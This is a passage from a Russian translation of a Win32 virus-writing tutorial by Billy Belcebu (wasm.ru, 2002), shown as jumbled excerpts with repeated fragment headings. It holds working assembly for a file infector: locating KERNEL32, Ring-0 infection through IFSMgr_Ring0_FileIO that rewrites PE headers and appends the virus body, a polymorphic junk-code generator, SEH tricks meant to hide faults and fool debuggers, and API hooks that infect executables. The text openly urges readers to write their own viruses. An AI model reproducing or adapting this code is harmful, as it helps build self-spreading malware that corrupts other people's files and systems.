@FindFirstFileA db "FindFirstFileA",0 @FindNextFileA db "FindNextFileA",0 @FindClose db "FindClose",0 @CreateFileA db "CreateFileA",0 @SetFilePointer db "SetFilePointer",0 @SetFileAttributesA db "SetFileAttributesA",0 @CloseHandle db "CloseHandle",0 @GetCurrentDirectoryA db "GetCurrentDirectoryA",0 @SetCurrentDirectoryA db "SetCurrentDirectoryA",0 @GetWindowsDirectoryA db "GetWindowsDirectoryA",0 @GetSystemDirectoryA db "GetSystemDirectoryA",0 @CreateFileMappingA db "CreateFileMappingA",0 @MapViewOfFile db "MapViewOfFile",0 @UnmapViewOfFile db "UnmapViewOfFile",0 @SetEndOfFile db "SetEndOfFile",0 db 0BBh
align dword virus_end label byte
heap_start label byte
dd 00000000h
NewSize dd 00000000h SearchHandle dd 00000000h FileHandle dd 00000000h MapHandle dd 00000000h MapAddress dd 00000000h AddressTableVA dd 00000000h NameTableVA dd 00000000h OrdinalTableVA dd 00000000h
@@Offsetz label byte _FindFirstFileA dd 00000000h _FindNextFileA dd 00000000h _FindClose dd 00000000h _CreateFileA dd 00000000h _SetFilePointer dd 00000000h _SetFileAttributesA dd 00000000h _CloseHandle dd 00000000h _GetCurrentDirectoryA dd 00000000h _SetCurrentDirectoryA dd 00000000h _GetWindowsDirectoryA dd 00000000h _GetSystemDirectoryA dd 00000000h _CreateFileMappingA dd 00000000h _MapViewOfFile dd 00000000h _UnmapViewOfFile dd 00000000h _SetEndOfFile dd 00000000h
MAX_PATH equ 260
FILETIME STRUC FT_dwLowDateTime dd ? FT_dwHighDateTime dd ? FILETIME ENDS
WIN32_FIND_DATA label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime FILETIME ? WFD_ftLastAccessTime FILETIME ? WFD_ftLastWriteTime FILETIME ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db MAX_PATH dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?)
directories label byte
WindowsDir db 7Fh dup (00h) SystemDir db 7Fh dup (00h) OriginDir db 7Fh dup (00h) dirs2inf equ (($-directories)/7Fh) mirrormirror db dirs2inf


heap_end label byte
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все вышепpиведенное - это данные, используемые виpусом ;) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
; Hоситель пеpвого поколения
fakehost: pop dword ptr fs:[0] ; Вычищаем кое-что из стека add esp,4 popad popfd
xor eax,eax ; Отобpажаем MessageBox с push eax ; глупым сообщением push offset szTitle push offset szMessage push eax call MessageBoxA
push 00h ; Завеpшаем pаботу носителя call ExitProcess
end aztec ;---[ CUT HERE ]-------------------------------------------------------------
Я надеюсь, что пpиведенный выше виpус достаточно понятен. Это всего лишь пpостой виpус вpемени выполнения, котоpый будет pаботать на всех платфоpмах Win32, заpажающией 5 файлов в текущей, Windows- и системной диpектоpиях. В него не встpоено никаких механизмов маскиpовки (так как это тестовый виpус), и я думаю, что он опpеделяется всеми AV-пpогpаммами. Поэтому не стоит менять в нем паpу стpок и пpовозглашать себя его автоpом. Лучше напишите виpус сами. Как я подозpеваю, нектоpые части виpуса еще не совсем ясны (относящиеся к вызовам API), поэтому я пpивожу здесь кpаткое пеpечисление возможных действий, котоpые можно совеpшить с помощью конкpетного API.

Как вы знаете, когда мы


Как вы знаете, когда мы запускаем приложением, код вызывается откуда-то из KERNEL32 (т.е. KERNEL делает вызов нашего кода), а потом, если вы помните, когда вызов сделан, адрес возврата лежит на стеке (адрес памяти в ESP). Давайте применим эти знания на практике:

;---[ CUT HERE ]-------------------------------------------------------------

.586p ; Бах... просто так .model flat ; Хехехе, я люблю 32 бита

.data ; Кое-какие данные (их требует ; TASM32/TLINK32)

db ?

.code

start: mov eax,[esp] ; Теперь EAX будет равен BFF8XXXXh ; (в w9X) ; т.е. где-то внутри API ; CreateProcess :) ret ; Возвращаемся в него ;) end start

;---[ CUT HERE ]-------------------------------------------------------------

Ок, это просто. У нас в EAX есть значение, примерно равно BFF8XXXX (XXXX не играет роли, нам не нужно знать его точно. Так как Win32-платформы обычно все округляют до страницы, значит заголовок KERNEL32 находится в начале страницы, и мы можем легко найти его. А как только мы найдем заголовок PE, о котором я и веду речь, мы будем знать адрес KERNEL32. Хммм, наш лимит - 50h страниц. Хехе, не беспокойтесь, далее последует некоторый код ;).

;---[ CUT HERE ]-------------------------------------------------------------

.586p .model flat

extrn ExitProcess:PROC

.data

limit equ 5

db 0

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ненужные и несущественные данные :) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

.code

test: call delta delta: pop ebp sub ebp,offset delta

mov esi,[esp] and esi,0FFFF0000h call GetK32

push 00000000h call ExitProcess

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Грхм, я предполагаю, что вы, по крайней мере, нормальный asm-кодер, то ; ; то есть знаете, что первый блок инструкций предназначается для получения ; ; дельта-смещения (хорошо, это не необходимо в данном примере, как бы то ; ; ни было я хочу придать данному коду сходство с вирусом). Нам интересен ; ; второй блок. Мы помещаем в ESI адрес, откуда было вызвано наше ; ; приложение. Он находится в ESP (если мы, конечно, не трогали стек после ; ; загрузки программы. Вторая инструкция, AND, получает начало страницы, из ; ; которой был вызван наш код. Мы вызываем нашу процедуру, после чего ; ; прерываем процесс ;). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


Сначала мы проверяем, не превысили


GetK32:

__1: cmp byte ptr [ebp+K32_Limit],00h jz WeFailed

cmp word ptr [esi],"ZM" jz CheckPE

__2: sub esi,10000h dec byte ptr [ebp+K32_Limit] jmp __1

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы проверяем, не превысили ли мы лимит (50 страниц). После того, ; ; как мы находим страницу с сигнатурой 'MZ' в начале, ищем заголовок PE. ; ; Если мы его не находим, то вычитаем 10 страниц (10000h байтов), уменьшаем ; ; переменную лимита и ищем снова. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

CheckPE: mov edi,[esi+3Ch] add edi,esi cmp dword ptr [edi],"EP" jz WeGotK32 jmp __2 WeFailed: mov esi,0BFF70000h WeGotK32: xchg eax,esi ret

K32_Limit dw limit

;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Мы получаем значение по смещению 3Ch из заголовка MZ (там содержится ; ; RVA-адрес начала заголовка PE), потом соотносим его с адресом страницы, ; ; и если адрес памяти, находящийся по данному смещению - метка PE, мы ; ; мы считаем, что нашли то, что нужно... и это действительно так! ;) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

end test ;---[ CUT HERE ]-------------------------------------------------------------

Рекомендация: я протестировал это у меня не было никаких проблем в Win98 и WinNT4 с установленным SP3, как бы то ни было, так как я не знаю, что может произойти, я советую вам использовать SEH, чтобы избежать возможных ошибок и синего экрана. SEH будет объяснен в последующих уроках. Хех, этот метод использовал Lord Julus в своих туториалах (для поиска GetModuleHandleA в зараженных файлах), что не очень эффективно для моих нужд, как бы то ни было, я покажу собственную версию этого кода, где объясню, что можно сделать с импортами. Например, это можно использовать в пер-процессных (per-process) резидентных вирусах с небольшими изменениями в процедуре ;).


если вызов функции не удался,


Так как многие API-функции в Ring-3 возвращают вам значение -1 (OFFFFFFFh), если вызов функции не удался, и вам нужно проверять, удачно ли он прошел, вы часто должны сравнивать полученное значение с -1. Но здесь та же проблема, что и ранее - многие люди делают это с помощью 'CMP EAX, 0FFFFFFFh', хотя то же можно осуществить гораздо более оптимизировано...

cmp eax,0FFFFFFFFh ; 5 байтов jz insumision ; 2 байта (если короткий)

Давайте посмотрим, как это можно оптимизировать:

inc eax ; 1 байт jz insumision ; 2 байта dec eax ; 1 байт

Хех, может быть это занимает больше строк, но зато весит меньше байтов (4 байта против 7).


Проверка равен ли регистр нулю


Я устал видеть одно и тоже постоянно, особенно в среде Win32-кодеров, и это меня просто убивает, очень медленно и очень болезненно. Например, мой разум не может переварить идею 'CMP EAX, 0'. Давайте посмотрим, почему:

cmp eax,00000000h ; 5 байтов jz bribriblibli ; 2 байта (если jz короткий)

Хех, я знаю, что жизнь - дерьмо, и вы тратите очень много кода на отстойные сравнения. Ок, давайте посмотрим, как решить эту проблему с помощью кода, который делает то же самое, но с меньшим количеством байтов.

or eax,eax ; 2 байтов jz bribriblibli ; 2 байтов (если jz короткий)

Или эквивалент (но быстрее!):

test eax,eax ; 2 байта jz bribriblibli ; 2 байта (если jz короткий)

Есть способ, как оптимизировать это еще большим образом, если неважно содержимое, которое окажется в другом регистре). Вот он:

xchg eax,ecx ; 1 байт jecxz bribriblibli ; 2 байта (только если короткий)

Теперь вы видите? Никаких извинений, что "я не оптимизирую, потому что теряю стабильность", так как с помощью этих советов вы не будете терять ничего, кроме байтов кода :). Мы сделали процедуру на 4 байта короче (с 7 до 3)... Как? Что вы скажете об этом?



"Путеводитель по написанию вирусов под Win32"


[C] Billy Belcebu, пер. Aquila

© 2002 wasm.ru - all rights reserved and reversed

2002 Составитель Alexela Вперед >>>



Работа с умножением


Например, в коде, где ищется последняя секция, очень часто встречается следующее (в EAX находится количество секций - 1):

mov ecx,28h ; 5 байтов mul ecx ; 2 байта

И это сохраняет результат в EAX, правильно? Ладно, у нас есть гораздо более лучший путь сделать это с помощью всего лишь одной инструкции:

imul eax,eax,28h ; 3 байта

IMUL сохраняет в первом регистре результат, который получился с помощью умножения второго регистра с третьим операндом, который в данном случае был непосредственным значением. Хех, мы сохранили 4 байта, заменив две инструкции на одну!



Рекурсивность


Это один из важнейших моментов вашего полиморфного движка. Рекурсия должна иметь ограничение, но в зависимости от этого ограничения отлаживать код будет гораздо труднее (если лимит достаточно высок). Давайте представим, что у нас есть таблица со всеми смещениями всех генераторов мусора:

PolyTable: dd offset (GenerateMOV) dd offset (GenerateCALL) dd offset (GeneratteJMP) [...] EndPolyTable:

И представьте, что у вас есть следующая процедура для выбора между ними:

GenGarbage: mov eax,EndPolyTable-PolyTable call r_range lea ebx,[ebp+PolyTable] mov eax,[ebx+eax*4] add eax,ebp call eax ret

Представьте, что внутри процедуры 'GetGarbage' вызываются инструкции, генерирующие вызовы, а внутри них снова вызывается 'GenGarbage', а внутри нее снова вызывается 'GenerateCALL' и снова, и снова (в зависимости от вашего ГСЧ), поэтом у вас будут CALL'ы внутри CALL'ов внутри CALL'ов... Я сказал ранее, что эта штука с ограничением нужна была для того, чтобы избежать проблем со скоростью, но это можно легко решить с помощью новой процедуры 'GenGarbage':

GenGarbage: inc byte ptr [ebp+recursion_level] cmp byte ptr [ebp+recursion_level],05 ; <- 5 - это уровень jae GarbageExit ; рекурсии

mov eax,EndPolyTable-PolyTable call r_range lea ebx,[ebp+PolyTable] mov eax,[ebx+eax*4] add eax,ebp call eax

GarbageExit: dec byte ptr [ebp+recursion_level] ret

Таким образом, наш движок сможет сгенерировать огромное количество одурачивающего противника кода, полного вызовов и всего в таком роде ;). Конечно, это также применимо к PUSH и POP :).



Само заражение


Ок , здесь я хочу вам рассказать о заражении файла. Я не буду рассказывать о том, как манипулировать полями заголовка файла, не потому что я ленивый, а потому что эта глава посвящена программированию Ring-0, а не заражению PE. В этой части описывается код, начинающийся с метки infection_stuff, которую вы встретили в код обработчика файловой системы. Во-первых, мы проверяем, является ли файл, с которым мы собираемся работать .EXE или другим, неинтересным для нас файлом. Поэтому, прежде всего, мы должны найти в имени файла 0, т.е. его конец. Это очень просто написать:

infection_stuff: lea edi,[ebx+fname] ; Переменная с именем файла getend: cmp byte ptr [edi],00h ; Конец файла? jz reached_end ; Да inc edi ; Если нет, продолжаем поиск jmp getend reached_end:

Теперь у нас в EDI 0, конец ASCIIz строки, которая в нашем случае является именем файла. Теперь нам нужно проверить, является ли файл EXE, а если нет пропустить процедуру заражения. Также мы можем искать .SCR (скринсейверы), так как они тоже являются исполняемыми файлами... Ок, это ваш выбор. Вот немного кода:

cmp dword ptr [edi-4],"EXE." ; Является ли расширение EXE jnz notsofunny

Как вы можете видеть, я сравниваю EDI-4. Вы поймете почему, если взглянете на следующий простой пример:

Ок, теперь мы знаем, что файл является EXE-файлом :). Поэтому настало время убрать его аттрибуты, открыть файл, модифировать соответствующие поля, закрыть файл и восстановить аттрибуты. Все эти функции выполняет другой сервис IFS, который называется IFSMgr_Ring0_FileIO. В нем есть огромное количество функций, в том числе и те, которые нам нужны, чтобы выполнить заражение файла и тому подобное. Давайте взглянем на числовые значения, передаваемые в EAX VxD-сервису IFSMgr_Ring0_FileIO:

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ; Список функций сервиса IFSMgr_Ring0_FileIO: ; Обратите внимание: большинство функций не зависят от контекста, если ; обратное не оговорено специально, то есть они не используют контекст ; текущего треда. R0_LOCKFILE является единственным исключением - она всегда ; использует контекст текущего треда.


R0_OPENCREATFILE equ 0D500h ; Открывает/ закрывает файл R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Открывает/закрывает файл в текущем ; контексте R0_READFILE equ 0D600h ; Читает файл, контекста нет R0_WRITEFILE equ 0D601h ; Пишет в файл, контекста нет R0_READFILE_IN_CONTEXT equ 0D602h ; Читает из файла в контексте треда R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Пишет в файл в контексте треда R0_CLOSEFILE equ 0D700h ; Закрывает файл R0_GETFILESIZE equ 0D800h ; Получает размер файла R0_FINDFIRSTFILE equ 04E00h ; Выполняет LFN-операцию FindFirst R0_FINDNEXTFILE equ 04F00h ; Выполняет LFN-операцию FindNext R0_FINDCLOSEFILE equ 0DC00h ; Выполняет LFN-операцию FindClose R0_FILEATTRIBUTES equ 04300h ; Получ./уст. аттрибуты файла R0_RENAMEFILE equ 05600h ; Переименовывает файл R0_DELETEFILE equ 04100h ; Удаляет файл R0_LOCKFILE equ 05C00h ; Лочит/анлочит регион файла R0_GETDISKFREESPACE equ 03600h ; Получает свободное дисковое пр-во R0_READABSOLUTEDISK equ 0DD00h ; Абсолютное дисковое чтение R0_WRITEABSOLUTEDISK equ 0DE00h ; Абсолютная дисковая запись -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Симпатичные функции, не правда ли? :) Если мы взглянем на них более внимательно, они напомнят нам функции DOS int 21h. Но эти лучше :).

Хорошо, давайте сохраним старые атрибуты файла. Как вы можете видеть, эта функция находится в списке, который я вам предоставил. Мы передаем этот параметр (4300h) через EAX, чтобы получить аттрибуты файла в ECX. Затем мы push'им его и имя файла, которое находится в ESI

lea esi,[ebx+fname] ; Указатель на имя файла mov eax,R0_FILEATTRIBUTES ; EAX = 4300h push eax ; Push'им, черт возьми VxDCall IFSMgr_Ring0_FileIO ; Получаем аттрибуты pop eax ; Восстанавливаем 4300h из стека jc notsofunny ; Что-то пошло не так?

push esi ; Push'им указатель на имя файла push ecx ; Push'им аттрибуты

Теперь мы должны их сбросить. Нет проблем. Функция для установки атрибутов находится в этом же сервисе под номером 4301h. Как вы можете видеть, это точно такое же значение как и в DOS :).



inc eax ; 4300h+1=4301h :) xor ecx,ecx ; Нет аттрибутов! VxDCall IFSMgr_Ring0_FileIO ; Стираем аттрибуты jc stillnotsofunny ; Ошибка (?!)

У нас есть файл без атрибутов, который ждет наших действий... что мы должны предпринять. Хех. Я думал, вы будете умнее. Давайте откроем его! :) Хорошо, в этой части вируса мы тоже будем вызывать IFSMgr_Ring0_FileIO, но в этот раз передадим в EAX код функции открытия файлов, который равен D500h.

lea esi,[ebx+fname] ; Помещаем в ESI имя файла mov eax,R0_OPENCREATFILE ; EAX = D500h xor ecx,ecx ; ECX = 0 mov edx,ecx inc edx ; EDX = 1 mov ebx,edx inc ebx ; EBX = 2 VxDCall IFSMgr_Ring0_FileIO jc stillnotsofunny ; Дерьмо

xchg eax,ebx ; Немного оптимизации

Теперь в EBX у нас находится хэндл открытого файла, поэтому не будем использовать этот регистр для чего бы то ни было еще, пока не закроем файл, ок? :) Ладно, теперь настало время, чтобы считать заголовок файла и сохранить его (и манипулировать), затем обновить заголовок вируса... Ладно, здесь я объясню только как до того момента, где мы должны правильно обработать PE-заголовок, потому что это другая часть документа, а я не хочу повторяться. Хорошо, теперь я собираюсь объяснить, как поместить в наш буфер заголовок PE. Это очень легко: как вы помните, заголовок PE начинается по смещению 3Ch. Следовательно, мы должны считать 4 байта (этот DWORD в 3Ch), и считать со смещения, на которое указывает прочитанная переменная, 400h байтов, что достаточно для того, чтобы вместить весь PE-заголовок. Как вы можете представить, функция для чтения файлов находится в чудесном сервисе IFSMgr_Ring0_FileIO. Ее номер можно найти в списке, который я привел выше. Параметры, передаваемые этой функции, следующие:

EAX = R0_READFILE = D600h EBX = хэндл файла ECX = количество прочитанных байтов EDX = смещение, откуда мы должны читать ESI = куда попадут считанные байты

call inf_delta ; Если вы помните, дельта-смещение inf_delta: ; находится в EBX, но после открытия pop ebp ; файла в EBX будет находиться хэндл sub ebp,offset inf_delta ; файла, поэтом нам придется ; высчитать дельта-смещение заново



mov eax,R0_READFILE ; D600h push eax ; Сохраняем для последующего исп. mov ecx,4 ; Сколько байтов читать (DWORD) mov edx,03Ch ; Откуда читать (BOF+3Ch) lea esi,[ebp+pehead] ; Здесь будет смещ. загол. PE VxDCall IFSMgr_Ring0_FileIO ; Сам VxDCall

pop eax ; восст. R0_READFILE из стека

mov edx,dword ptr [ebp+pehead] ; Откуда нач. PE-заголовок lea esi,[ebp+header] ; Куда писать считанный заголовок mov ecx,400h ; 1024 bytes, дост. для заголовка VxDCall IFSMgr_Ring0_FileIO

Теперь мы должны посмотреть, является ли файл, который мы только что посмотрели PE-файлов, взглянув на его маркер. В ESI у нас находится указатель на буфер, куда мы поместим заголовок PE, поэтому мы просто сравниваем первый DWORD в ESI с PE,0,0 (или просто PE, если использовать WORD-сравнение) ;).

cmp dword ptr [esi],"EP" ; Это PE? jnz muthafucka

Теперь вам нужно проверить, не был ли файл уже заражен ранее, и если это так, просто переходим к процедуре его закрытия. Как я сказал раньше, я пропущу код модификации PE-заголовка, так как предполагается, что вы знаете, как им манипулировать. Ладно, представьте, что вы уже модифицировали заголовок PE правильным образом в буфере (в моем коде эта переменная названа 'header'). Теперь настало время, чтобы записать новый заголовок в PE-файл. Значения, которые должны содержаться в регистрах, должны быть примерно равны тем, которые использовались в функции R0_READFILE. Ладно, как бы то ни было, я их напишу:

EAX = R0_WRITEFILE = D601h EBX = File Handle ECX = Number of bytes to write EDX = Offset where we should write ESI = Offset of the bytes we want to write

mov eax,R0_WRITEFILE ; D601h mov ecx,400h ; write 1024 bytez (buffer) mov edx,dword ptr [ebp+pehead] ; where to write (PE offset) lea esi,[ebp+header] ; Data to write VxDCall IFSMgr_Ring0_FileIO

Мы только что записали заголовок. Теперь мы должны добавить вирус. Я решил подсоединить его прямо к концу файла, потому что мой способ модифицирования PE... Ладно, просто сделал это так. Но не беспокойтесь, это легко адаптировать под ваш метод заражения, если, как я предполагаю, вы понимаете, как все это работает. Просто помните о необходимости пофиксить все вызовы VxD перед добавление тела вируса, так как они трансформируются в инструкции call в памяти. Помните о процедуре VxDFix, которой я научил вас в этом же документе. Между прочим, так как мы добавляем тело вируса к концу файла, мы должны узнать, как много байтов он занимает. Это очень легко, для этого у нас есть функция сервиса IFSMgr_Ring0_FileIO, которая выполнит эту работу: R0_GETFILESIZE. Давайте взглянем на ее входные параметры:



EAX = R0_GETFILESIZE = D800h EBX = Хэндл файла

И возвращает нам в EAX размер файла, чей хэндл мы передали, то есть того файла, который мы хотим заразить.

call VxDFix ; Восстановить все INT 20h

mov eax,R0_GETFILESIZE ; D800h VxDCall IFSMgr_Ring0_FileIO ; EAX = размер файла mov edx,R0_WRITEFILE ; EDX = D601h xchg eax,edx ; EAX = D601; EDX = р-р файла lea esi,[ebp+virus_start] ; Что записать mov ecx,virus_size ; Сколько байтов записать VxDCall IFSMgr_Ring0_FileIO

Ладно, нам осталось сделать всего лишь несколько вещей. Просто закройте файл и восстановите старые атрибуты. Конечно, функция закрытия файла находится в сервисе IFSMgr_Ring0_FileIO (код D700h). Давайте взглянем на входные параметры:

EAX = R0_CLOSEFILE = 0D700h EBX = хэндл файла

А теперь сам код:

muthafucka: mov eax,R0_CLOSEFILE VxDCall IFSMgr_Ring0_FileIO

Теперь нам осталось только одно (рульно!). Восстановить старые аттрибуты.

stillnotsofunny: pop ecx ; Восстанавливаем старые аттрибуты pop esi ; Восстанавливаем указатель на имя файла mov eax,4301h ; Устанавливаем аттрибуты VxDCall IFSMgr_Ring0_FileIO

notsofunny: ret

Вот и все! :) Между прочим, все эти "VxDCall IFSMgr_Ring0_FileIO" лучше оформить в виде подпрограммы и вызывать ее с помощью простого вызова: это будет более оптимизировано (если вы используете макро VxDCall, который я показал вам) и это будет гораздо лучше, потому что необходимо будет фиксить только один вызов VxD-сервиса.


Есть вещь, которую делают почти


Есть вещь, которую делают почти все виркодеры новой школы:

mov eax,-1 ; 5 байтов

Вы поняли, что это худшее, что вы могли сделать? Неужели у вас только один нейрон? Проклятье, гораздо проще установить -1 более оптимизированно:

xor eax,eax ; 2 байта dec eax ; 1 байт

Вы видите? Это не трудно!


версии этого туториала, что оно


Кто-то (привет, Qozah!) сказал мне после чтения бета- версии этого туториала, что оно несколько хаотично, поэтому очень легко потеряться между главами. Я попытался реорганизовать туториал, хотя, возможно, мне это и не слишком удалось.

Дисклеймер Несколько вводных слов Содержание Что потребуется для написания вируса Краткое введение Заголовок PE Ring-3, кодинг на уровне пользователя Ring-0, кодинг на уровне бога Резидентность Оптимизация в Win32 Антиотладка в Win32 Полиморфизм в Win32 Продвинутые Win32-техники Приложение 1: полезная нагрузка Приложение 2: об авторе Заключение


Советы и приемы


Здесь я поместил нерасклассифированные приемы оптимизирования и те, которые (как я предполагаю) вы уже знаете ;).

Никогда не используйте директиву JUMPS в вашем коде. Используйте строковые операции (MOVS, SCAS, CMPS, STOS, LODS). Используйте 'LEA reg, [ebp+imm32]' вместо 'MOV reg, offset imm32 / add reg, ebp'. Пусть ваш ассемблер осуществляет несколько проходов по коду (в TASM'е /m5 будет достаточно хорошо). Используйте стек и избегайте использования переменных. Многие операции (особенно логические) оптимизированны для регистра EAX/AL Используйте CDQ, чтобы очистить EDX, если EAX меньше 80000000h (т.е. без знака). Используйте 'XOR reg,reg' или 'SUB reg,reg', чтобы сделать регистр равным нулю. Использование EBP и ESP в качестве индекса тратит на 1 байт больше, чем использование EDI, ESI и т.п. Для битовых операций используйте "семейство" BT (BT,BSR,BSF,BTR,BTF,BTS). Используйте XCHG вместо MV, если порядок регистров не играет роли. Во время push'инга все значение структуры IOREQ, используйте цикл. Используйте кучу настолько, насколько это возможно (адреса API-функций, временные переменные и т.д.) Если вам нравится, используйте условные MOV'ы (CMOVs), но они 586+. Если вы знаете как, используйте сопроцессор (его стек, например). Используйте семейство опкодов SET в качестве семафоров. Используйте VxDJmp вместо VxDCall для вызова IFSMgr_Ring0_FileIO (ret не требуется).



Structured Exception Handler


SEH - это очень классная фича, которая есть во всех средах окружения Win32. Очень легко понять, что она делает: если происходит (general protection fault (сокращенно GPF), контроль автоматически передается текущему SEH-обработчику. Вы видите, насколько это может быть полезным? Если что-то пойдет не так, это позволит вашему вирусу оставаться незамеченным :). Указатель на SEH-обработчик находится в FS:[0000]. Поэтому вы можете легко поместить туда ваш собственный SEH-обработчик (но не забудьте сохранить старый!). Если произойдет ошибка, контроль будет передан вашему SEH-обработчику, но стек накроется. К счастью, Micro$oft помещает стек в том виде, в каком он был до установки нашего SEH-обработчика, в ESP+08 :). Поэтому нам надо будет просто восстановить его и поместить старый SEH-обработчик на его старое место :). Давайте посмотрим небольшой пример использования SEH:

;---[ CUT HERE ]-------------------------------------------------------------

.386p .model flat ; 32 бита рулят

extrn MessageBoxA:PROC ; Задаем API extrn ExitProcess:PROC

.data

szTitle db "Structured Exception Handler [SEH]",0 szMessage db "Intercepted General Protection Fault!",0

.code

start: push offset exception_handler ; Push'им смещение нашего ; обработчика push dword ptr fs:[0000h] ; mov dword ptr fs:[0000h],esp

errorhandler: mov esp,[esp+8] ; Помещаем смещ. ориг. SEH ; Ошибка дает нам старый ESP ; в [ESP+8]

pop dword ptr fs:[0000h] ; Восст. старый SEH-обработчик

push 1010h ; Параметры для MessageBoxA push offset szTitle push offset szMessage push 00h call MessageBoxA ; Показываем сообщене :]

push 00h call ExitProcess ; Выходим из приложения

setupSEH: xor eax,eax ; Генерируется исключение div eax

end start ;---[ CUT HERE ]-------------------------------------------------------------

Как было показано в главе "Антиотладка под Win32", у SEH есть еще полезные применения :). Он одурачивает большинство отладчиков уровня приложения. Для облечения работы по установке нового SEH-обработчика есть следующие макросы, которые делают это за вас (hi Jacky!):

; Put SEH - Sets a new SEH handler

; Put SEH - Устанавливаем новый SEH-обработчик

pseh macro what2do local @@over_seh_handler call @@over_seh_handler mov esp,[esp+08h] what2do @@over_seh_handler: xor edx,edx push dword ptr fs:[edx] mov dword ptr fs:[edx],esp endm

; Restore SEH - Восстанавливает старый SEH-обработчик

rseh macro xor edx,edx pop dword ptr fs:[edx] pop edx endm

Использовать эти макросы очень просто. Например:

pseh >jmp SEH_handler&rt; div edx push 00h call ExitProcess SEH_handler: rseh [...]

Код, приведенный выше, будет выполняться после макроса 'rseh' вместо прерывания процесса. Это понятно? :)



UNICODE в ASCIIz


Есть много путей сделать это. Особенно для вирусов нулевого кольца, которые имеют доступ к специальному сервису VxD. Во-первых, я объясню, как сделать оптимизацию, если используется этот сервис, а затем я покажу метод Super'а, который сохраняет огромное количество байтов. Давайте посмотрим на типичный код (предполагая, что EBP - это указатель на структуру ioreq, а EDI указывает на имя файла):

xor eax,eax ; 2 байта push eax ; 1 байт mov eax,100h ; 5 байтов push eax ; 1 байт mov eax,[ebp+1Ch] ; 3 байта mov eax,[eax+0Ch] ; 3 байта add eax,4 ; 3 байта push eax ; 1 байт push edi ; 1 байт @@3: int 20h ; 2 байта dd 00400041h ; 4 байта

Ладно, похоже, что здесь можно сделать только одно улучшение, заменив третью линию на следующее:

mov ah,1 ; 2 байта

Или так :)

inc ah ; 2 байта

Хех, но я уже сказал, что Super произвел очень сильные улучшения. я не стал копировать его, получающий указатель на юникодовое имя файла, потому что его очень трудно понять, но я уловил идею. Предполагаем, что EBP - это указатель на структуру ioreq, а buffer - это буфер длиной 100 байт. Далее идет некоторый код:

mov esi,[ebp+1Ch] ; 3 байт mov esi,[esi+0Ch] ; 3 байт lea edi,[ebp+buffer] ; 6 байт @@l: movsb ; 1 байт -¬ dec edi ; 1 байт ¦ Этот цикл был cmpsb ; 1 байт ¦ сделан Super'ом ;) jnz @@l ; 2 байт --

Хех, первая из всех процедур (без локальной оптимизации) - 26 байтов, та же, но с локальной оптимизацией - 23 байта, а последняя процедура (со структурной оптимизацией) равна 17 байтам. Вау!!!



Универсальный перехватчик


Возможно вы помните, что есть некоторые API-функции, которые принимают последним заPUSHенным параметром указатель на файл (который может быть исполняемым), поэтому мы можем их перехватить и применить универсальный перехватчик, который сначала проверяет расширение файла, и если он исполняемый, мы можем заразить его без всяких проблем :).

;---[ CUT HERE ]-------------------------------------------------------------

; Несколько различных хуков :)

HookMoveFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_MoveFileA] ; передаем контроль ; оригинальной API-функции

HookCopyFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_CopyFileA] ; передаем контроль ; оригинальной API-функции

HookDeleteFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_DeleteFileA] ; передаем контроль ; оригинальной API-функции

HookCreateFileA: call DoHookStuff ; обрабатываем этот вызов jmp [eax+_CreateFileA] ; передаем контроль ; оригинальной API-функции

; The generic hooker!!

; Универсальный перехватчик!!

